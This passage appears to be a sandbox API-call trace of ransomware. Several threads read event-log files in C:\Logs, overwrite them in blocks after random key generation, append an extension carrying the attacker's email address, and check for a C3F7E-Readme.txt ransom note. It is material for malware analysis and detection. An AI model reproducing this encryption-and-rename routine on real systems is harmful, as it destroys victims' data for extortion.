	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0xe7b940fa
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0x8d6f2c0a
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0xb299991e
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0x9073d8ce
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0xcc1e5d9e
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0x848f1ccd
	[0074.289] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.289] ReadFile (in: hFile=0x824, lpBuffer=0x2de9f58, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x820f6d8, lpOverlapped=0x0 | out: lpBuffer=0x2de9f58*, lpNumberOfBytesRead=0x820f6d8*=0xc800, lpOverlapped=0x0) returned 1
	[0074.290] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.290] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73e40
	[0074.290] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732dd0
	[0074.290] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781418
	[0074.290] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781418) returned 1
	[0074.291] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2df6760
	[0074.291] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781738
	[0074.291] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817d8
	[0074.291] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817d8) returned 1
	[0074.291] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732dd0) returned 1
	[0074.291] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73e40) returned 1
	[0074.291] WriteFile (in: hFile=0x824, lpBuffer=0x2df6760*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x820f6d8, lpOverlapped=0x0 | out: lpBuffer=0x2df6760*, lpNumberOfBytesWritten=0x820f6d8*=0xc800, lpOverlapped=0x0) returned 1
	[0074.293] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df6760) returned 1
	[0074.293] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2de9f58) returned 1
	[0074.294] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x61) returned 0x2d86f88
	[0074.294] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.294] WriteFile (in: hFile=0x824, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x145, lpNumberOfBytesWritten=0x820f758, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x820f758*=0x145, lpOverlapped=0x0) returned 1
	[0074.297] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0074.297] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86a48) returned 1
	[0074.297] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815f8) returned 1
	[0074.298] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86f88) returned 1
	[0074.298] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781738) returned 1
	[0074.298] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781648) returned 1
	[0074.298] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781698) returned 1
	[0074.298] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813f0) returned 1
	[0074.298] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2d7dc98
	[0074.298] wcscpy (in: _Dest=0x2d7dc98, _Source="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx"
	[0074.298] wcscat (in: _Dest=0x2d7dc98, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0074.298] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x820f710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0074.298] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x2d7e2d8
	[0074.299] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7e2d8) returned 1
	[0074.299] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0074.299] NtQueryInformationFile (in: FileHandle=0x824, IoStatusBlock=0x820f71c, FileInformation=0x820f6f4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x820f71c, FileInformation=0x820f6f4) returned 0x0
	[0074.299] NtSetInformationFile (FileHandle=0x824, IoStatusBlock=0x820f71c, FileInformation=0x820f6f4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0074.300] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7dc98) returned 1
	[0074.300] FlushFileBuffers (hFile=0x824) returned 1
	[0074.301] CloseHandle (hObject=0x824) returned 1
	[0074.302] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70bc0
	[0074.302] wcscpy (in: _Dest=0x2d70bc0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.302] wcscat (in: _Dest=0x2d70bc0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0074.302] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0074.302] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70bc0) returned 1
	[0074.302] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d545b8) returned 1

Thread:
	id = 136
	os_tid = 0xf04

	[0074.278] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 0x20
	[0074.301] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0074.303] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x824
	[0074.303] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x828fd3c | out: lpFileSize=0x828fd3c*=1118208) returned 1
	[0074.303] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x110ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.303] ReadFile (in: hFile=0x824, lpBuffer=0x828fcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x828fcbc, lpOverlapped=0x0 | out: lpBuffer=0x828fcc0*, lpNumberOfBytesRead=0x828fcbc*=0x4, lpOverlapped=0x0) returned 1
	[0074.304] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.304] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781490
	[0074.304] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0074.305] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813f0
	[0074.305] NtQuerySystemTime (in: CurrentTime=0x828fc9c | out: CurrentTime=0x828fc9c*=132251868010414520) returned 0x0
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0xda0146ef
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0xc60ba347
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0x3267fe72
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0x99d0a09e
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0x4f6d6b80
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0x88a56c27
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0x3cbbdd36
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0x37ec4e32
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0x3e587c4f
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0x2d31b67f
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0x1b3fcdee
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0x99c01b3f
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0x50a3bcbc
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0x1573d4e8
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0x468e556f
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0xe89a2527
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0x8f18b555
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0xec9114f7
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0xf35b594f
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0xf4d3e267
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0x7c08e9b3
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0xd3656238
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0xe5956e08
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0xf84fa9fd
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0x9e7477e0
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0xa1ab02b4
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0xeeaa733f
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0x4565649
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0x96290fbe
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0xbca64039
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0x85533aa2
	[0074.305] RtlRandom (in: Seed=0x828fca8 | out: Seed=0x828fca8) returned 0x3940d54d
	[0074.318] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.319] ReadFile (in: hFile=0x824, lpBuffer=0x2de9f58, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x828fc54, lpOverlapped=0x0 | out: lpBuffer=0x2de9f58*, lpNumberOfBytesRead=0x828fc54*=0xc800, lpOverlapped=0x0) returned 1
	[0074.320] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.320] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73b70
	[0074.320] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x47330a0
	[0074.320] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813f0
	[0074.320] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813f0) returned 1
	[0074.321] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2df6760
	[0074.322] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817d8
	[0074.322] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816e8
	[0074.322] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816e8) returned 1
	[0074.322] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47330a0) returned 1
	[0074.322] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73b70) returned 1
	[0074.322] WriteFile (in: hFile=0x824, lpBuffer=0x2df6760*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x828fc54, lpOverlapped=0x0 | out: lpBuffer=0x2df6760*, lpNumberOfBytesWritten=0x828fc54*=0xc800, lpOverlapped=0x0) returned 1
	[0074.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df6760) returned 1
	[0074.326] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x89800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.326] ReadFile (in: hFile=0x824, lpBuffer=0x2de9f58, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x828fc54, lpOverlapped=0x0 | out: lpBuffer=0x2de9f58*, lpNumberOfBytesRead=0x828fc54*=0xc800, lpOverlapped=0x0) returned 1
	[0074.328] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x89800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.328] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73978
	[0074.328] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732dd0
	[0074.328] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0074.328] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0074.329] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2df6760
	[0074.330] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0074.330] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813f0
	[0074.330] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813f0) returned 1
	[0074.330] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732dd0) returned 1
	[0074.330] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73978) returned 1
	[0074.330] WriteFile (in: hFile=0x824, lpBuffer=0x2df6760*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x828fc54, lpOverlapped=0x0 | out: lpBuffer=0x2df6760*, lpNumberOfBytesWritten=0x828fc54*=0xc800, lpOverlapped=0x0) returned 1
	[0074.331] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df6760) returned 1
	[0074.331] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x104800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.331] ReadFile (in: hFile=0x824, lpBuffer=0x2de9f58, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x828fc54, lpOverlapped=0x0 | out: lpBuffer=0x2de9f58*, lpNumberOfBytesRead=0x828fc54*=0xc800, lpOverlapped=0x0) returned 1
	[0074.332] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x104800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.332] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73c90
	[0074.332] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732dd0
	[0074.332] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814b8
	[0074.332] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814b8) returned 1
	[0074.333] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2df6760
	[0074.333] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781648
	[0074.333] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0074.333] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0074.333] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732dd0) returned 1
	[0074.333] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73c90) returned 1
	[0074.333] WriteFile (in: hFile=0x824, lpBuffer=0x2df6760*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x828fc54, lpOverlapped=0x0 | out: lpBuffer=0x2df6760*, lpNumberOfBytesWritten=0x828fc54*=0xc800, lpOverlapped=0x0) returned 1
	[0074.334] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df6760) returned 1
	[0074.335] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733d48
	[0074.335] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.335] WriteFile (in: hFile=0x824, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x191, lpNumberOfBytesWritten=0x828fcfc, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x828fcfc*=0x191, lpOverlapped=0x0) returned 1
	[0074.337] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0074.337] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732fb0) returned 1
	[0074.337] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816e8) returned 1
	[0074.337] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732ec0) returned 1
	[0074.337] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733d48) returned 1
	[0074.337] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0074.337] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781418) returned 1
	[0074.337] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815f8) returned 1
	[0074.337] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x2d89460
	[0074.337] wcscpy (in: _Dest=0x2d89460, _Source="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx"
	[0074.337] wcscat (in: _Dest=0x2d89460, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0074.337] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x828fcb4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0074.337] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2d6ff90
	[0074.338] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6ff90) returned 1
	[0074.338] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89520) returned 1
	[0074.338] NtQueryInformationFile (in: FileHandle=0x824, IoStatusBlock=0x828fcc0, FileInformation=0x828fc98, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x828fcc0, FileInformation=0x828fc98) returned 0x0
	[0074.338] NtSetInformationFile (FileHandle=0x824, IoStatusBlock=0x828fcc0, FileInformation=0x828fc98, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0074.339] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0074.339] FlushFileBuffers (hFile=0x824) returned 1
	[0074.340] CloseHandle (hObject=0x824) returned 1
	[0074.341] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d706c0
	[0074.341] wcscpy (in: _Dest=0x2d706c0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.341] wcscat (in: _Dest=0x2d706c0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0074.341] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0074.341] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d706c0) returned 1
	[0074.341] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5fdc8) returned 1

Thread:
	id = 137
	os_tid = 0x470

	[0074.319] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 0x20
	[0074.319] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0074.323] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x820
	[0074.323] GetFileSizeEx (in: hFile=0x820, lpFileSize=0x830fb30 | out: lpFileSize=0x830fb30*=69632) returned 1
	[0074.323] SetFilePointerEx (in: hFile=0x820, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.323] ReadFile (in: hFile=0x820, lpBuffer=0x830fab4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x830fab0, lpOverlapped=0x0 | out: lpBuffer=0x830fab4*, lpNumberOfBytesRead=0x830fab0*=0x4, lpOverlapped=0x0) returned 1
	[0074.330] SetFilePointerEx (in: hFile=0x820, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.330] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781490
	[0074.331] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813f0
	[0074.331] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0074.331] NtQuerySystemTime (in: CurrentTime=0x830fa90 | out: CurrentTime=0x830fa90*=132251868010727138) returned 0x0
	[0074.331] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0xb0f4c50d
	[0074.331] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0x9a4dd8a3
	[0074.331] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0x5cc2703e
	[0074.331] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0xa74f52b8
	[0074.331] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0x6ee0a6e7
	[0074.331] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0x86d9d86b
	[0074.331] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0xed1ac5a6
	[0074.334] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0x65d30c22
	[0074.334] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0xe2bb4dc1
	[0074.334] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0xf74974d0
	[0074.334] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0x12cefd42
	[0074.334] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0xf58ddd11
	[0074.334] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0x3a30c266
	[0074.334] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0x2a3bd105
	[0074.334] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0xa77f2871
	[0074.334] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0x449a3f67
	[0074.334] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0x81a6d826
	[0074.334] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0x2059cfb6
	[0074.334] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0x65f974ae
	[0074.334] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0x98589c48
	[0074.334] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0xd8140d37
	[0074.334] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0x78b7c5b3
	[0074.334] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0xe7900274
	[0074.334] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0x10549fba
	[0074.334] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0x20c3fd29
	[0074.335] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0xbec23898
	[0074.339] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0xf236cc1f
	[0074.339] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0x5ca3d6b6
	[0074.339] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0x31525d6a
	[0074.339] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0x91274e67
	[0074.340] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0x6d27dddc
	[0074.340] RtlRandom (in: Seed=0x830fa9c | out: Seed=0x830fa9c) returned 0x2fd91aa2
